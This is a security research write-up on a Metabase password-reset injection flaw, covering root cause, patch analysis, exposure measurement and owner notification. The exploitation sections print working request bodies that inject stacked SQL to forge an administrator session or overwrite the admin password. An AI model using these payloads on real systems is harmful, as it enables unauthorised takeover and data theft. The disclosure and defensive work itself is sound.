Summary
What happened, and what we did
Metabase Cloud was attacked in early August 2026 through an unknown vulnerability in the password-reset endpoint. Metabase blocked the endpoints, patched, and disclosed; the CVE and its CISA KEV listing followed. Starting from the public record alone, we rebuilt the flaw from source, reproduced the full takeover chain in an isolated lab, extracted the vendor fix from the security-release jars, and enumerated the exposed population passively. We then emailed the roughly 3,000 affected companies to tell them their instance was vulnerable and needed to be patched; two organisations responded.
- Reachable by anyone: an unauthenticated POST body reaches the authentication merge in
auth-identity/login!with attacker-controlled extra keys. - Three primitives: a HoneySQL map subquery injection, an orphan admin-session creation that needs no SQL at all, and a
{"raw"}map form that executes arbitrary (including stacked) SQL. - Full takeover: forged admin session (
400 → 200) reproduced end-to-end on Postgres, H2, and Enterprise, matching the in-the-wild IOC pattern. - Scope: all exploitation was performed on lab instances we own. No third-party instance was touched.
- Outreach: we emailed the roughly 3,000 affected companies to tell them their instance was vulnerable to an actively exploited flaw and needed to be patched. Two organisations responded.
Scope
What this publication can and cannot establish
Can establish
- Root cause, exploitation primitives, and a complete takeover chain, reproduced on owned lab instances with statement-log evidence.
- The vendor fix, decompiled and mapped to each finding.
- A passive exposure count and version triage of internet-facing instances at the time of research.
Cannot establish
- Original discovery. This is a post-disclosure reconstruction: Metabase, CISA, and public reporting came first; we started on 15 August.
- Any victim-side detail beyond what public postmortems and reporting already state.
- That any specific instance was exploited; version and endpoint exposure are not proof of compromise.
Timeline
How the disclosure moved
| Date | Event |
|---|---|
| 2–3 Aug 2026 | Attacks against Metabase Cloud customers Public postmortems and reporting |
| 3 Aug 2026 | Metabase blocks the affected endpoints |
| 6 Aug 2026 | Metabase patches and notifies customers; public security update published |
| 11 Aug 2026 | CVE-2026-72898 published; added to the CISA KEV catalog |
| 15–17 Aug 2026 | Independent reconstruction, lab validation, and exposure sweep This work, all lab-confined |
Root cause
A merge that trusts the request body
The reset handler validates only token and password; the request-body schema is an open map, so any extra key passes through. The authentication pipeline then merges the raw request into its own state and resolves the target user from fields the caller should never control:
;; auth_identity/provider.clj, login! :around (v0.63.1)
(as-> (merge request (authenticate provider request)) $
(assoc $ :user
(or (when-let [user-id (:user-id $)]
(t2/select-one [:model/User :id :is_active :last_login :tenant_id]
:id user-id)) ; ← attacker-controlled id
(when-let [email (get-in $ [:user-data :email])]
(t2/select-one … :%lower.email (u/lower-case-en email)))))
…
(cond-> $ (:user $) (create-session! provider))) ; ← gated on a resolved user, not on success?
Two properties compound. First, Toucan2 compiles a map supplied as the :id value into SQL: a map becomes a subquery, and the special {:raw "…"} map renders its string verbatim into the statement. Second, create-session! runs whenever any user resolves, even when authentication fails, so the failure path issues a session anyway (the key never leaves the server, but the session row is real).
Exploitation
Three primitives, one endpoint
user-id as a map
Plain JSON structures compile as HoneySQL: {"select": …} becomes a subquery in WHERE "id" = (…). SELECT-shaped injection, executed against the app database.
user-data.email
Any unauthenticated caller who names an existing account creates an orphan admin-session row on the auth-failure path. Same root bug, pure logic.
{"raw": "…"}
The map-key :raw form splices SQL verbatim: identifiers, functions, outer UNIONs, and stacked statements. The write primitive that completes the chain.
Only when a policy-passing password is supplied does the body reach the injection; with an invalid password the schema checker rejects first. That detail, and the exact emitted SQL, came out of the statement log rather than guesswork.
-- payload: {"user-id": {"raw": "1"}}
SELECT "core_user"."id", "core_user"."is_active", "core_user"."last_login", "core_user"."tenant_id"
FROM "core_user" WHERE "id" = (1)
-- payload: {"user-id": {"raw": "1); INSERT INTO l11_scratch … ; --"}}
execute <unnamed>: SELECT "core_user"."id", … FROM "core_user" WHERE "id" = (1)
execute <unnamed>: INSERT INTO l11_scratch (id,note) VALUES (99, 'stacked') -- 2nd statement persists after the blind 400
On Postgres the driver (pgjdbc) splits top-level ; client-side and runs every statement; on H2, JDBC multi-statement does the same. MySQL's default connection profile blocks stacking, but the single-statement injection and its timing oracle still land.
The chain
From unauthenticated POST to administrator
Phase A: forge a session (Postgres or H2)
POST /api/session/reset_password
{"token":"1_0000","password":"<valid>",
"user-id":{"raw":"1); INSERT INTO core_session (id,user_id,key_hashed,created_at)
VALUES ('A1B2C3D4E5F6',1,'<hex(sha512(chosen-uuid))>',CURRENT_TIMESTAMP); --"}}
→ 400 "Invalid reset token" (blind; the INSERT is committed)
GET /api/user/current
Cookie: metabase.SESSION=<chosen-uuid>
→ 200 { "email": "admin@…", "is_superuser": true }
The session hash is hex(sha512(ascii(key))), so an attacker who chooses the key can write the matching row and use it immediately. The middleware accepts rows created within the last 14 days; the forged row lives there.
Phase B: or take the account directly (H2, the default self-hosted app DB)
{"user-id":{"raw":"1); UPDATE core_user SET password='<bcrypt(salt||pw)>',
password_salt='S' WHERE email='<admin email>'; --"}}
→ 400 (committed) → normal login succeeds → is_superuser: true
Metabase verifies bcrypt(salt ‖ password), prepending the salt column, so the attacker sets both columns. The H2 connection itself authenticates as the empty-name admin user, which is why the default install is the worst case: alongside the takeover, expression-level FILE_WRITE/CSVWRITE/FILE_READ are reachable, and CREATE ALIAS runs Java.
In the wild
What the attacks looked like
Public reporting and a public per-instance activity log describe the attacker behaviour that followed a successful session: reconnaissance through the admin session, then API-key persistence, then exit. No account creation.
| Time | Activity (public activity log) |
|---|---|
| 13:00 | Access gained; authenticated as the administrator |
| 13:01–13:12 | 54 queries run through that session |
| 13:14 | API key created (tied to a service account) |
| 13:14–13:17 | 19 further queries via the API key |
| 13:17 | API key deleted, exit |
Publicly reported victims include n8n, Framework, Tally, Kilo Code, ChecklyHQ, Cypress, and Privy, a Stripe-owned company, with downstream disclosures such as Trezor customers via ShipMonk. Among the publicly reported victims are billion-dollar companies: n8n at a $5.2B valuation, Anaconda at over $2B (Kilo Code's parent), and Stripe at $159B through its subsidiary Privy. Metabase's own incident report states that under 3% of its cloud customers were compromised, with some self-hosted deployments affected as well. Checkly's postmortem notes ~26 minutes of read-only warehouse access, no accounts created, no API keys changed. The shape matches what we reproduced exactly: a forged session that behaves like a normal login, nothing else on the box touched.
The fix
What 0.63.5 changed
Decompiling the security release shows four layers, defence-in-depth rather than a one-line patch:
- Closed body schema: extra keys now return
"disallowed key"before any handler runs. authenticate-owned-keysmerge filter: the pipeline's own keys (:user-id,:user-data,:success?,:session, MFA keys, …) are stripped from the merged request. The vendor's docstring says the quiet part out loud: a surviving copy would let the caller “name the account it logs into, assert its own success, or steer tenant sync.”- Type gates:
(true? (:success? …))and(pos-int? (:user-id …))in the merge, which kills both map forms (a raw map is not a positive integer). - Handler narrowing:
reset_passwordpasses only[:token :password]downstream.
Every payload family we built returns "disallowed key" on 0.63.5 with zero SQL emitted, confirmed by an independent 28-payload bypass battery. Notably, the fix filters the merge rather than the session gate: the vendor's diff matches the root-cause model we built independently.
Exposure
How many instances, measured passively
Enumeration used Shodan's stored scan data only, with no active probing of third parties, followed by version and endpoint checks on lab-adjacent probes we control the path for, and organisation attribution through public records (domain, certificate, WHOIS, security.txt).
| Measure | Count | Method |
|---|---|---|
| Exposed Metabase (Shodan product:Metabase) | 16,331 → 15,942 collected | Passive API sweep |
| Running a vulnerable version | 3,065 | Unauthenticated version fingerprint |
Endpoint exposed (reset_password reachable) | 3,050 | Vendor-IOC signature (empty POST → 400) |
| Organisations attributable | ≈1,500–1,600 | ~1,182 company domains + 427 ASN orgs |
We emailed the operators behind the roughly 3,000 affected companies to let them know their instance was vulnerable to an actively exploited flaw and needed to be patched, including the vendor IOC, the observed version, and remediation guidance. Each notice stated plainly what we did and did not do against their systems. Two organisations responded. Independent public counts of the exposed pool vary by methodology (Dataminr: about 4,300 potentially vulnerable instances; Shadowserver: about 2,171 unpatched at the time of reporting). Redacted copies of the notification emails we sent and of the replies we received are below. Per-target records are intentionally not published.
Notification email — archived copy 1 (0.62.x instance)
From: Riftweld Security <security@riftweld.com>
To: [redacted]
Subject: Security notice - your Metabase instance is exposed to actively-exploited CVE-2026-72898
Date: 16 Aug 2026
Hi [redacted] Security Team, I'm a security researcher with **Riftweld**. During an internet-wide exposure study, I identified an internet-facing Metabase instance associated with [redacted] running a version affected by **CVE-2026-72898**. **Observed exposure** * Host: `[redacted]` * Metabase version: `0.62.2` * Observed: `2026-08-16 15:52 UTC` * `/api/session/reset_password` is externally reachable * Minimum safe release: `0.62.9` **CVE-2026-72898 is a critical unauthenticated SQL injection vulnerability.** In a controlled lab running an affected Metabase release, I reproduced the full exploitation chain and confirmed that an unauthenticated attacker can forge an administrator session and obtain full Metabase administrative access. The vulnerability has been exploited in the wild and is listed in CISA's Known Exploited Vulnerabilities catalog. I **did not exploit your instance, access any data, authenticate as another user, modify anything, or attempt to obtain credentials**. The checks against your infrastructure were limited to non-destructive, unauthenticated verification of the exposed version and affected endpoint. I recommend that your team: 1. Upgrade all affected instances to `0.62.9` or later. 2. Until patched, restrict external access to `/api/session/reset_password`. 3. Review logs for suspicious `POST /api/session/reset_password` activity, particularly when followed by `GET /api/user/current`. 4. If suspicious activity is identified, revoke active sessions, review privileged accounts and API keys, rotate relevant database credentials, and review database access logs. I have the **full technical evidence package ready**, including the lab reproduction, root-cause analysis, IOCs, affected-versus-patched behavior, and remediation guidance. Please confirm receipt when possible and, if your security process uses one, send me the disclosure or incident tracking reference so I can associate any follow-up information with the correct case. Regards, Muhammad Luay **Riftweld** Security Research security@riftweld.com riftweld.com
Notification email — archived copy 2 (0.63.x instance)
From: Riftweld Security <security@riftweld.com>
To: [redacted]
Subject: Security notice - your Metabase instance is exposed to actively-exploited CVE-2026-72898
Date: 16 Aug 2026
Hi [redacted] Security Team, I'm a security researcher with **Riftweld**. During an internet-wide exposure study, I identified an internet-facing Metabase instance associated with [redacted] running a version affected by **CVE-2026-72898**. **Observed exposure** * Host: `[redacted]` * Metabase version: `0.63.1` * Observed: `2026-08-16 15:52 UTC` * `/api/session/reset_password` is externally reachable * Minimum safe release: `0.63.5` **CVE-2026-72898 is a critical unauthenticated SQL injection vulnerability.** In a controlled lab running an affected Metabase release, I reproduced the full exploitation chain and confirmed that an unauthenticated attacker can forge an administrator session and obtain full Metabase administrative access. The vulnerability has been exploited in the wild and is listed in CISA's Known Exploited Vulnerabilities catalog. I **did not exploit your instance, access any data, authenticate as another user, modify anything, or attempt to obtain credentials**. The checks against your infrastructure were limited to non-destructive, unauthenticated verification of the exposed version and affected endpoint. I recommend that your team: 1. Upgrade all affected instances to `0.63.5` or later. 2. Until patched, restrict external access to `/api/session/reset_password`. 3. Review logs for suspicious `POST /api/session/reset_password` activity, particularly when followed by `GET /api/user/current`. 4. If suspicious activity is identified, revoke active sessions, review privileged accounts and API keys, rotate relevant database credentials, and review database access logs. I have the **full technical evidence package ready**, including the lab reproduction, root-cause analysis, IOCs, affected-versus-patched behavior, and remediation guidance. Please confirm receipt when possible and, if your security process uses one, send me the disclosure or incident tracking reference so I can associate any follow-up information with the correct case. Regards, Muhammad Luay **Riftweld** Security Research security@riftweld.com riftweld.com
Lab method
How the reconstruction was verified
Eight lab rounds on owned infrastructure (OSS and Enterprise builds, Postgres and H2 app DBs, vulnerable and patched versions), with PostgreSQL log_statement=all and H2 trace-level SQL capture. The write-primitive surface, by engine:
| App DB | Stacked ; | DML CTE | File writes |
|---|---|---|---|
| PostgreSQL 14 | Yes, driver splits client-side | Only as stacked top-level | lo_export; host effects via superuser context |
| H2 2.1.214 | Yes, JDBC multi-statement | No (read-only CTE bodies) | FILE_WRITE / CSVWRITE / FILE_READ; CREATE ALIAS → Java |
| MySQL (default app user) | No (allowMultiQueries=false) | No | No (FILE privilege absent) |
Correction we published forward
Our first grammar harness tested only string-headed vectors and concluded no raw-SQL escape existed. Live endpoint testing disproved it: the keywordized map-key {"raw": …} form executes arbitrary SQL. The repo’s lab log carries the correction inline rather than silently: the superseded conclusion and the evidence that replaced it are both on the record.
Everything (the PoC, the statement-log excerpts, the capability matrices, and the fix extraction) is in the accompanying repository.
References